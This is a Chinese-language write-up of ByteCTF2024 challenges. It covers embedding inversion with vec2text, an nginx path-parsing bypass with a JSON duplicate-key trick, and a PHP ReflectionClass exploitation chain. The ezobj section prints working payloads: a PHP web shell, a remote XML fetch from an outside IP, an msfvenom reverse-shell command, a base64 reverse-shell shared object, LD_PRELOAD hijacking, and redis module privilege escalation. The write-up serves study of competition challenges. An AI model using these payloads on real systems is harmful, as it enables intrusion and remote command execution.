ByteCTF2024
AI
ezai
前面是pwntools交互和prompt+jinja2渲染ssti,提权后拿到embedding.json,要从embedding还原回flag明文,一开始考虑爆破flag内容并和embedding余弦相似度进行比较,在当前位相似度最高的字符串下爆破下一位直到爆破出flag为止,类似这样:
from volcenginesdkarkruntime import Ark
import numpy as np
embedding = np.array(embedding[0])
def cosine_similarity(a, b):
return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))
client = Ark(
base_url="https://ark.cn-beijing.volces.com/api/v3",
api_key="********-****-****-****-************",
)
resp = client.embeddings.create(
model="ep-20240922020210-sxwcc",
# input=["ByteCTF{e039ffec-7edc-43cd-be59-352806c79ce1}"] 0.050100186655420036 0.03980661484708277
input=["ByteCTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}"]
)
def sliced_norm_l2(vec, dim=2048):
# dim 取值 512,1024,2048
norm = float(np.linalg.norm(vec[:dim]))
return [v / norm for v in vec[:dim]]
result = np.array(resp.data[0].embedding)
print(cosine_similarity(embedding, sliced_norm_l2(result, 768)))
但是发现这个逻辑并不成立(比如Byte并不一定是Byt_爆破所有字符的结果中与embedding余弦相似度最近的一个),然后考虑vec2text,地址jxmorris12/vec2text:用于将深度表示(如句子嵌入)解码回文本的实用程序 —- jxmorris12/vec2text: utilities for decoding deep representations (like sentence embeddings) back to text (github.com),但vec2text支持的非原创模型只有openai的text-embedding-ada-002和gtr-base,text-embedding-ada-002的embedding是1536维的,gtr-base的是768维的,刚好与embedding.json所给embedding维数一样,于是
import vec2text
import torch
corrector = vec2text.load_pretrained_corrector("gtr-base")
print(vec2text.invert_embeddings(
embeddings=torch.tensor(embedding),
corrector=corrector,
num_steps=20,
))
得到flag
Web
ezoldbuddy
一个纯前端登录界面,爆破不了,没有任何跳转
<!-- <div style="margin-top: 10px; text-align: center;">
<a href="shopbytedancesdhjkf">Shop Bytedance</a>
</div> -->
源码泄露路由/shopbytedancesdhjkf但是访问403,hint给出解析差异绕过,如nginx deny限制路径绕过 - 先知社区 (aliyun.com)所说,即为了防止绕过,nginx 在检查路径之前会执行路径规范化。但如果后端服务器执行不同的规范化(移除 nginx 不移除的字符),则可能绕过此防御。
nginx+flask可用\x85进行解析差异绕过,于是以GET方式请求/shopbytedancesdhjkf\x85(上CyberChef或者python hex解码都能得到\x85对应字符),成功访问
(一开始不知道为啥是flask,后来官方wp给出如果以GET方式请求/admin\x85会暴露django框架)
进入大采购环节,前端 be like
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 21 Sep 2024 12:18:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6319
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Checkout Page</title>
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Roboto', sans-serif;
margin: 0;
padding: 0;
background: #f9f9f9;
color: #333;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
width: 90%;
max-width: 800px;
background: #fff;
padding: 2rem;
border-radius: 10px;
box-shadow: 0 10px 20px rgba(0, 0, 0, 0.1);
text-align: center;
}
h1 {
font-size: 2.5rem;
margin-bottom: 1rem;
color: #444;
}
.products, .cart {
margin-bottom: 2rem;
}
.product-item, .cart-item {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 1rem;
padding: 1rem;
background: #f1f1f1;
border-radius: 5px;
}
.product-item h2, .cart-item h2 {
font-size: 1.2rem;
margin: 0;
}
.product-item p, .cart-item p {
margin: 0;
color: #888;
}
.total {
font-size: 1.5rem;
font-weight: bold;
margin-top: 2rem;
}
.add-button, .checkout-button {
padding: 0.5rem 1rem;
background-color: #007bff;
color: white;
border: none;
border-radius: 5px;
font-size: 1rem;
cursor: pointer;
transition: background-color 0.3s ease;
}
.checkout-button {
margin-top: 2rem;
background-color: #28a745;
}
.add-button:hover {
background-color: #0056b3;
}
.checkout-button:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="container">
<h1>Your Shopping Cart</h1>
<div class="products">
<h2>Available Products</h2>
<div id="product-list">
<!-- Product items will be dynamically inserted here -->
</div>
</div>
<div class="cart">
<h2>Cart Items</h2>
<div id="cart-items">
<!-- Cart items will be dynamically inserted here -->
</div>
</div>
<div class="total">Total: $<span id="total-amount">0.00</span></div>
<div class="total">你的钱包: $<span id="total-wallet">500</span></div>
<button class="checkout-button" onclick="handleCheckout()">Checkout</button>
<p id="response-message"></p>
</div>
<script>
const productDB = [{"name": "Product MY LIFE", "price": 100}, {"name": "Product SDLC", "price": 200}, {"name": "Product Guitar", "price": 300}, {"name": "Product Ukulele", "price": 400}, {"name": "Product TUBA", "price": 500}, {"name": "Product E5 2666V3", "price": 600}, {"name": "Product X99", "price": 700}, {"name": "Product 8G*2 RECC 1866", "price": 800}, {"name": "$100 E-Gift Card", "price": 100}, {"name": "FFFFFLLLLLAAAAAGGG J", "price": 10000}];
let cart = [];
function addToCart(productId) {
const productIndex = cart.findIndex(item => item.id === productId);
if (productIndex > -1) {
cart[productIndex].qty += 1;
} else {
cart.push({ id: productId, qty: 1 });
}
updateCart();
}
function updateProductList() {
const productListContainer = document.getElementById('product-list');
productDB.forEach((product, index) => {
const productItem = document.createElement('div');
productItem.classList.add('product-item');
productItem.innerHTML = `
<div>
<h2>${product.name}</h2>
<p>Price: $${product.price.toFixed(2)}</p>
</div>
<button class="add-button" onclick="addToCart(${index})">Add to Cart</button>
`;
productListContainer.appendChild(productItem);
});
}
function updateCart() {
const cartItemsContainer = document.getElementById('cart-items');
const totalAmount = document.getElementById('total-amount');
const totalWallet = document.getElementById('total-wallet');
let total = 0;
cartItemsContainer.innerHTML = ''; // Clear previous items
cart.forEach(item => {
const product = productDB[item.id];
const itemTotal = product.price * item.qty;
total += itemTotal;
const cartItem = document.createElement('div');
cartItem.classList.add('cart-item');
cartItem.innerHTML = `
<div>
<h2>${product.name}</h2>
<p>${item.qty} x $${product.price.toFixed(2)}</p>
</div>
<div>$${itemTotal.toFixed(2)}</div>
`;
cartItemsContainer.appendChild(cartItem);
});
totalAmount.textContent = total.toFixed(2);
totalWallet.textContent = (500 - total).toFixed(2);
}
function handleCheckout() {
fetch('/cart/checkout', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ orderId: 1, cart: cart })
})
.then(response => response.text())
.then(data => {
document.getElementById('response-message').textContent = data;
})
.catch(error => console.error('Error:', error));
}
updateProductList();
</script>
</body>
</html>
可以看到/shopbytedancesdhjkf/cart/checkout路由接受body为{orderId,cart:[{id,qty}]}形式的POST请求进行购物请求,但是稀里糊涂发了一个body为{orderId:1,cart:[{id:9,qty:1e4}]}的POST请求就出flag了
后来发现正解是JSON解析差异-风险研究 - 先知社区 (aliyun.com)里提到的包含两个重复的键的json中,python处理的方式为以重复的第二个键为主,go jsonparser处理的方式为以重复的第一个键为主(我求你原文作者别打错别字),构造的json中包含一小一大两个qty值就可以实现零元购从而得到flag(另外好像不用买flag,只需要买的商品价值总额为100万即可)
至于非预期是为什么就不得而知了
ezobj
一道没有官方wp的题
<?php
ini_set("display_errors", "On");
include_once("config.php");
if (isset($_GET['so']) && isset($_GET['key'])) {
if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));
putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");
}
}
if (isset($_GET['byte']) && isset($_GET['ctf'])) {
$a = new ReflectionClass($_GET['byte']);
$b = $a->newInstanceArgs($_GET['ctf']);
// echo $b;
} elseif (isset($_GET['clean'])){
array_map('unlink', glob('/tmp/*'));
} else {
highlight_file(__FILE__);
echo 'Hello ByteCTF2024!';
}
// phpinfo.html Hello ByteCTF2024!
查看phpinfo,有simplexml和imagick
天枢的文档里config.php莫名就读取到了,那借鉴一下wm的wp,先用simplexml写入php读取config.php
POST /?byte=SimpleXMLElement&ctf[0]=http://8.130.24.188/evil.xml&ctf[1]=2&ctf[2]=true HTTP/1.1
Host: a1bc48a6.clsadp.com
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 345
------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php system($_REQUEST['cmd']); ?>"/>
<write filename="info:s.php" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--
等效于 SimpleXMLElement("http://8.130.24.188/evil.xml",2,true)
,其中true代表第一个参数为url
读取到secret=HelloByteCTF2024,先用msfvenom -p linux/x64/shell_reverse_tcp LHOST=82.156.18.214 LPORT=8080 -f elf-so > shell.so
生成恶意.so,再用Imagick(vid:msl:/tmp/php*)
迂回上传
POST /?byte=Imagick&ctf[0]=vid:msl:/tmp/php* HTTP/1.1
Host: ad2961ae.clsadp.com
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 918
Content-Type: multipart/form-data; boundary=15605bdf9aec6250208b22b032a9960b
--15605bdf9aec6250208b22b032a9960b
Content-Disposition: form-data; name="files"; filename="aaa.py"
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3AEAAAAAAAAmAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAailYmWoCX2oBXg8FSJdIuQIAH5BSnBLWUUiJ5moQWmoqWA8FagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU="/>
<write filename="/tmp/13.so"/>
</image>
--15605bdf9aec6250208b22b032a9960b--
然后利用SplFileObject(/tmp/sky.wmv,w)
写入空wmv文件并劫持.so
GET /?byte=SplFileObject&ctf[]=/tmp/sky.wmv&ctf[]=w HTTP/1.1
Host: ad2961ae.clsadp.com
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 0
GET /?so=13&key=HelloByteCTF2024&byte=Imagick&ctf[]=/tmp/sky.wmv HTTP/1.1
Host: ad2961ae.clsadp.com
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 0
拿到redis密码:bytectfa0d90b,进行redis module提权
redis-cli
auth bytectfa0d90b
MODULE LOAD /tmp/exploit.so
system.exec 'ls /root'
system.exec 'cat /root/flag'